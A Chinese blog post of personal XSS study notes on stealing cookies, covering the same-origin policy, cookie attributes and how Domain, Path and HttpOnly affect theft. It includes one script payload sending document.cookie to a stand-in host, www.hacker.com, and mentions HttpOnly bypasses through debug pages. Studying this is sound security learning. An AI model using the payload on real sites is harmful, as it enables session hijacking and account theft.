前端Hack之XSS攻击个人学习笔记 (2)

       Cookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操作十分的方便,我们可以通过Document对象访问Cookie。如:<script>alert(document.cookie)</script>会弹出当前页面的cookie信息。

       这里我们引入一个叫做“同源策略”的概念:

首先,同“源”的源不单单是指两个页面的主域名,还包括这两个域名的协议、端口号和子级域名相同。举个例子,假设我现在有一个页面,域名是 ,二级域名为 www,协议是 http,端口号是默认的 80,这个页面的同源情况如下:

前端Hack之XSS攻击个人学习笔记


       同源策略存在的意义就是为了保护用户的信息的安全。一般网站都会把关于用户的一些敏感信息存在浏览器的 cookie 当中试想一下,如果没有同源策略的保护,那么 b 页面也可以随意读取 a 页面存储在用户浏览器 cookie 中的敏感信息,就会造成信息泄露。如果用户的登录状态被恶意网站能够随意读取,那后果不堪设想。由此可见,同源策略是非常必要的,可以说是浏览器安全的基石。
       除了 cookie 的访问受到同源策略的限制外,还有一些操作也同样受到同源策略的限制:
       (1) 无法读取非同源网页的 Cookie 、sessionStorage 、localStorage 、IndexedDB
       (2) 无法读写非同源网页的 DOM
       (3) 无法向非同源地址发送 AJAX请求(可以发送,但浏览器会拒绝响应而报错)

       ————引自晚风表哥在信安之路上的投稿文章

       我们知道Cookie有如下常见的属性:

Domain————设置关联Cookie的域名;

Expires————通过给定一个过期时间来创建一个持久化Cookie;

Httponly————用于避免Cookie被Javascript访问;

Name————Cookie的名称;

Path————关联到Cookie的路径,默认为/;

Value————读写Cookie的值;

Secure————用于指定Cookie需要通过安全Socket层传递连接;

       并且Cookie也可以安装类型分为:

本地Cookie————即储存在计算机硬盘中,关闭浏览器后依旧存在;

内存Cookie————即储存在内存中,随浏览器的关闭而消失;

       如何区分两者很简单,只要判断cookie中的expires即过期时间属性有没有设置,如果设置了即为本地cookie,反之为内存cookie。
       由于Cookie具有的不同属性,我们可以将不同属性的Cookie盗取方式分为以下几种情况

默认

       默认情况,即不对Cookie的任何属性进行指定就设置Cookie的情况。这种情况下Cookie的获取最为简单。可以通过下列方式获取

<script> new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie; </script> 不同域

       这是由于domain字段的机制导致的。一个Cookie如果不知道domain的值,则默认为本域
       例如有两个网站和test.a.com且后者存在xss漏洞,按照同源策略,这两个网站是不同源的,默认情况下我们无法直接从test.a.com获取到的Cookie,可是如果的Cookie值中的domain属性设置为父级域即a.com,就可以通过test.a.com的xss漏洞获取到的Cookie值。

不同路径

       这是由于path字段的机制导致的。在设置Cookie时,如果不指定path的值,默认就是目标页面的路径。比如在设置cookie值且不知道path,那么path默认为/admin/。javascript可以指定任意路径的cookie,但是只有对于path值的目录下才能读取Cookie,即上述例子中只有/admin/目录下的javascipt才能读取前边设置的Cookie。

Http Only

       HttpOnly是指仅在Http层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读取该Cookie,这样做能有效防御XSS攻击获取Cookie,也是目前防御XSS的主流手段之一。不过利用某些特定方式也可以同样读取到标志了HttpOnly的Cookie。

利用调试信息,如:PHP的phpinfo()和Django的调试信息,里边都记录了Cookie的值,且标志了HttpOnly的Cookie也同样可以获取到。

利用Apache Http Server 400错误暴露HttpOnly Cookie的特点。

感兴趣的朋友可以查阅相关资料(《Web前端黑客技术揭秘》p36-39)

Secure

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzzwjz.html